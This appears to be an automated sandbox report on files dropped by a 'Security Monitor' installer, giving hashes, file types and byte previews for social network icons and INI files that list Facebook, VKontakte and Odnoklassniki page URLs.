Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................................................................................................5y{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c..{c...5y............../..4..:..A..J...S...\...f...p...w..............................y...o...c..Y..P..G..@..;..3..............3..<...B...C...C...E...J...J...J...J...J...E...C...C...C...C...D...I...J...J...J...J...I...C...C...C...C...B...?..0..........;...G...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...H...A..5...........<...J...O...I...I...I...I...K...Q...Q...Q...Q...Q...L...I...I...I...I...J...P...Q...Q...Q...Q...P...J...I...I...B..3...........<...J...Q...O...I...I...I...I...K...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\twitter_.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.907302157036138
Encrypted:	false
SSDEEP:	48:+BfZk7WDHWwgHz/8EKnha1Za+Wt4UhU6XkfAsq6BfyTLDJa8LaMahaavC:ykCrFEZ1k+Wt4UG54sqU6TJaoaMahaa
MD5:	E6EB914C76409FE1F3D53E3C181CC9D9
SHA1:	36A34D8F71B146A39A68F7C0AB02A566FCA24A85
SHA-256:	060DFC41C4D3CCEFA3FD8E104302B42408DA7F54CA13096ED7836EF57C5B4D6D
SHA-512:	7EA5748DF3C9229E166AC5578A23C56FEFC3E395A53D24305FB39D909F1F5ED5193A5F349824890C31D0AD90F7A6A574184A5E0E52C4BA83D868C71B94BB8B87
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................................................................................................................................................................................................................................................................[...................................................................................[...................................-..................................................................................................-......................................................................................................................................................[...........................................................................................................[.............................................................Q..'.....................*..................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\vkontakte.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.506385614203068
Encrypted:	false
SSDEEP:	96:8++kbjhMq1a9dJsg987jefKQ4N8tttttttttttttttttt6n:v+kbjhMgxjefKVl
MD5:	7B60FEEE9EF0D5277330748C9E1592A3
SHA1:	54DCE445A030CF59EFC15B1AB977EE6358BC02BC
SHA-256:	8891B8CB9AD98FB86BEA6DD1D3D8717C997440CEE2519565A3D9B46133FDB5DC
SHA-512:	915D4CD6C012DB9EC96257D4B1AD40367E1DE0940A22695547EA55DACBD2DB3FCD869556886013618A5F09053C6C8CBE97950E798794B1E681488FE98F52E84F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................6-...Y>#.oO,.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.qQ-.oO,.Y>#.-......6...............OzU-..R...R..\|O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..{O..\|O...R...R.zU-....O.......%}W...P..vK..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..uI..vK...P.}W.....%6#.w.~M..uH..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..sG..uH..~M.6#.wsO(..xK..qF..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qE..qF..xK.sO(..b4.tG..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..pD..tG..b4.c5.qD..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..nB..qD..c5.c5.pB..m@..l@..l@..l@..l@..k>..j=..j=..k

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\32x32\youtube.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.0497425098377073
Encrypted:	false
SSDEEP:	48:lLkTTTTTTTTTTTTTTTTTTTuTTTTTTTTTTTTTTTTTTTTTTTTTT/TTTTTTTTTTTTTt:J4Osj4
MD5:	BF35CDB2F5E57DDFC543AF37943A1077
SHA1:	0CF4E53B9B623BEF1E52BDEFCD31D155EAA4C9C2
SHA-256:	82803689C06BF4D08AA1852D2C5CD3CE08258C828F12DF85C56BB6FC21A8E835
SHA-512:	60CC6A06BD361CFD73D696717225CDB3B57278840606558D1B65390B531A590BDF08B2CB147B3159529DBB30D5C953C693E663D7E589B1E03756121EC3040199
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................$$.........$.......5...<...C...G...K...O...S...S...P...N...K...E...>...7...0...#.......................................Q..........................................................................................................T...............\|...................................................................................................................\|..............................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\SNets.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Instagram]
Category:	dropped
Size (bytes):	2361
Entropy (8bit):	5.086790461308817
Encrypted:	false
SSDEEP:	48:lkYaqeR/Mfg1mg6kL33dMLoXL2MK7hWNPE0hx8wgOV+U3DkROxPDv:ukgEEx6O+m+YPFYyJ
MD5:	C846DA6EDAA3DA7B84D7C275232E7113
SHA1:	48EFA8A9F71BA06A8AEF67786F234CCFF43EBFF1
SHA-256:	4AAEB9FA982ADED9CE384AFDD72AD2D9F25F4D4803D29936D86F3836F71ED323
SHA-512:	69259712A33EEAAAB99503C95E8F5F5614ECBD300065EED89181A26DFF15621F69D7B995212EBD6062A739C0A05B0BFED11E5B367AE91A6D80895519F75CA455
Malicious:	false
Reputation:	unknown
Preview:	[Facebook]..ID="facebook.com"..NodeID=31..msgID="facebook.com/messages"..SearchID="facebook.com/search/results.php"..QueryID="?q="..LoginOk="facebook.com/?sk=welcome"..[Instagram]..ID="instagram.com"..NodeID=68..msgID=""..SearchID=""..QueryID=""..LoginOk=""..[Youtube]..ID="youtube.com"..NodeID=69..msgID=""..SearchID="youtube.com/results?search_query"..QueryID="?search_query"..LoginOk=""..[Twitter]..ID="twitter.com"..NodeID=33..msgID="twitter.com"..SearchID="twitter.com/i/#!/search"..QueryID="#!/search/"..LoginOk=""..[LinkedIn]..ID="linkedin.com"..NodeID=35..msgID="linkedin.com/msgToConns"..SearchID="linkedin.com/search"..QueryID="keywords="..LoginOk="linkedin.com/home"..[Myspace]..ID="myspace.com"..NodeID=32..msgID="http://www.myspace.com/my/mail"..SearchID="http://www.myspace.com/search/"..QueryID="?q="..LoginOk="myspace.com/home"..[VKontakte]..ID="vk.com"..NodeID=36..msgID="vk.com/im"..SearchID="http://vk.com/search"..QueryID="[q]="..LoginOk="vk.com/id"..[Odnoklassniki]..ID="ok.ru"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\default.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.314915181326778
Encrypted:	false
SSDEEP:	3:LqRlJbXyi6AA:2lBrA
MD5:	D584582812D6A2E882BE885DD27E18E5
SHA1:	388346E2897C7849D8F7E38A2450377023503257
SHA-256:	63B34D170783C35985AB770AA19CE31E5AC8C90899423BE3A587B1CF17D417B8
SHA-512:	C057ED6B8AD5DB53BD6D4FC556E03F3D6607D06A35D4FE91BD16B39E2DC9822FC7F1C740BA89297D31F645047B7941DE1501115ED2159180BC41B4B37C9F1D83
Malicious:	false
Reputation:	unknown
Preview:	Facebook..Instagram..Youtube..Twitter..LinkedIn

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Marks]
Category:	dropped
Size (bytes):	159
Entropy (8bit):	4.674458029739085
Encrypted:	false
SSDEEP:	3:91A2vTzyosXO/ovsh2vJ5Im5B9gHovNRN4o6bHiys6SIFv9oc:91A2vT+vm/h2v8ARNmi/6S+v9oc
MD5:	6BD299C4CBF0029EA3F2F85BE0268693
SHA1:	D45F93594FEEA321B778C691051CE9B47D13D480
SHA-256:	BB9DBEEE227D18FFB6BE8AE4C33D681CC8A04FF1120F69EBF73E98E4302C6051
SHA-512:	7EEDA815F4D91D0B588DA4B0F3EFB222CA189A8E42333B1664EC9520FD1BA68EF80ABC9F4B965CD5657A0334B8AED2C412DC79CEEF9EC34867CC429A51C1E95E
Malicious:	false
Reputation:	unknown
Preview:	[Guests]..ID="ok.ru/guests"..[Marks]..ID="ok.ru/marks"..[Friends]..ID="/friends"..[Photos]..ID="/photos"..[About]..ID="/about"..[Profiles]..ID="ok.ru/profile/"

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\About.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Guests.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Marks.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Photos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\Profiles.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-5VF8C.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	479
Entropy (8bit):	7.089593114616156
Encrypted:	false
SSDEEP:	12:6v/78/nYc+5kz1ODz/QkR2gWWQQNjWPsiVY:SezqjQW2gfNjIsf
MD5:	011D15EB16A43A3A209EF0AA0AA18EEE
SHA1:	AA2B6FA0994415F1F8375FDA46EE3F3336777D9F
SHA-256:	12DC59580F6AD444E19F24260219FA0B9FDDC1B5873C1F9361C2063A8DC1A4E5
SHA-512:	81D9B1576636754E746523C032D822BB458D2F0FFC3632A132D3C64F32637888C5ADED498060D6020D17CC989DE96D639F8FDAA569F338ACCD810622D0C3C58B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....NIDAT8Oc`.......w...Q.+.....?>..r)5k...._....EG.G.-'.-...O.Z...p.....U..3.+m...+O..0w.....s.3.=y...Oa...O.......Z..5$.`...K.....z.........^...Y.6`.zH@.......#....ir...=.....E#(-....Z6.o...l....I2 .l....G..LZ\|.....8{.....;f.@.D.a C..{...../l..?.`..fX.....4...........[g.C..9)...)......w........;CP3.. . }p.....'.......{.........IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-7QJJ3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	337
Entropy (8bit):	6.603752167197913
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3te+/CG3J1R7/1JrZywu9ym9mmAivY6Ppmj/jp:6v/78/nfCG3JHVywuUm9mmAiQ6Bmh
MD5:	58280774747B0A7F0CA8B29DACA0B917
SHA1:	0BEEDF45E1CC739DAD3886AD1532A05BDFD2A3E8
SHA-256:	A7FA8ED622AECB52E7FDB363B32CC44C3A6FF5837FF78917DD177DBBE15B7DD6
SHA-512:	21FCDC686E3B700753E975C7A78884E7C0EBAF0ADABF13152B199B97F7F1F6F8FBAF1295ABDA7E2FA5D81683894EB280C1AA92E6695AEA56A289E9F17AE4095E
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc.....?k1Y......g...s.!.......h...,.........3x..k`>.F....`.P.S....7..O`.A4.}'.]....`..`.@4Lq..`.@4^.`....X.!..r@b."r."..l.r.P/.T..$9!..].//XG...4.\|.........4..'h.H...........CK.Tl.u....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-EV84R.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	6.666726809754627
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teHAFYqNQHvot6aM1nqJyVlMt+OxMp:6v/78/noAF2vonMDHs+Ox+
MD5:	7D35A55137029755B25CA2B25F54D7AE
SHA1:	22C1FA56B55C250889EB7B2AECE02803F34E4D43
SHA-256:	07256C3BA7DF49D4258054B35AFD01555CC25BD32D19DA852F1077C5B298A8CD
SHA-512:	2FFE767C9FCE4BC994460E7071579B6DF94A650FF9E3F9CC0538D599CD40178304302583C826F9CF39BAD2F160433E264BD2265DB17D016FA60158EF34461D0A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`..L.........@...K.....?..O....Y.e...m./...7.....A. .Y-V.@.a......I6...p. C@\|.!X].jZ... ........n....A\|......l...)\|py5..77...X.....p.a....^@.@........x.@Jz...$..^......7.23.....y..?..k.......IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-I55C6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	296
Entropy (8bit):	6.500966192845998
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3teBQFMnlqsTJee5uicbPfZSyxX0GUd/eup:6v/78/nIQFMnkyf54rfsrpz
MD5:	1374A978134A935973CAF3CD4BFD5DD6
SHA1:	3A24FBE3ACDA81875702DE3DC013EA3C3B717AB5
SHA-256:	DF28F5437300E6BF466FED1E74E785D4BD205ADDB1AACCBB37F51E7FD79B9C13
SHA-512:	076C7993D4547042FF31C8560FC3C0A699C940CAC85668D9622E6B5F26F26C90DB5E395A1AEC0EEACDF842996A5D734FBCC310638C0D3E4C97E328419ED4000B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r.....IDAT8Oc`.&...<...I.....4N.6.?).d...7...2..{..YC...a5.b...h....A..GX1H...(6...d...p....$.^.........w.<.....@..]XJ....K...(.....X^d.2......R..G... .k..^.j....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-JQ74U.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\Odnoklassniki\is-SATEB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....tEXtSoftware.Paint.NET v3.5.100.r....CIDAT8Oc`...=./..'........x1H.^.~......p........2...b>..@..4o.u......?.j......Wt...2....\.......'./.\|....`z...O..G. .0.............+{v.]Q....$...._.....x.y...@,...?~c...S....-^..... .~.....~.....?~.....s.C...o.....i..'....4..y...b.Y.s...Uo._....u.Pb..r.8..@..6d.....(.{..A... v..(iB.h..... ..................5BJ.....IEND.B`.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte.ini (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Generic INItialization configuration [Friends]
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.685024049706956
Encrypted:	false
SSDEEP:	3:QRUXdrx9reugHovdMTaW4/d1amqKL946WImgK4/d1amqKLrjM+n:KOdrDeaMB4FQ7l9NgK4/dQ7r+n
MD5:	CFA4D0ED34E826F2A6A243ADCE69C272
SHA1:	F4C7EA1EFC0FD6A61706120C4BF66452418805EC
SHA-256:	9202BF8E81E98F492F5610A2F67E6CF8882890484F0F8E7B43EE9DA2D2372B70
SHA-512:	66663614DCBBC9E62E91A2B34B1518AD3EB7C78C39F8DA9523F1D17A7CBC3000EAC7F7373A698BF9F76A3B395EB857393225E4E77216EBEE06C83CF0D871FF88
Malicious:	false
Reputation:	unknown
Preview:	[Messages]..ID="vk.com/im"..[Friends]..ID="vk.com/friends"..[Notifications]..ID="vk.com/feed?section=notifications"..[Replies]..ID="vk.com/feed?section=replies"..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\SNets\filters\VKontakte\Friends.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	468
Entropy (8bit):	7.111349425204145
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+wZA3tezZiBETckBgamBUuzzCg5z7yDALRIjfq1iMrjWTa/IUlqauE:6v/78/nawkdmBUKf5zaIybM/WqTsY
MD5:	37DA94ECD734F687EF2BD6B876BA3918
SHA1:	20F07BFA0FCF04B900F5E78B503B9E7597BB652D
SHA-256:	310373B5A0CA520244BBC8C21837F356781DE404EBEEAD88A44AC149B4B3EFE1
SHA-512:	AF4D0182BE380DDD3972D905AE8800AA5720DD42FE62504090BBC5BF929771844C7F8DE7594851A562ED982FE3DD4EDA7B07D7177DD037C74A5D0EA510E7A863
Malicious:	false
Reputation:	unknown
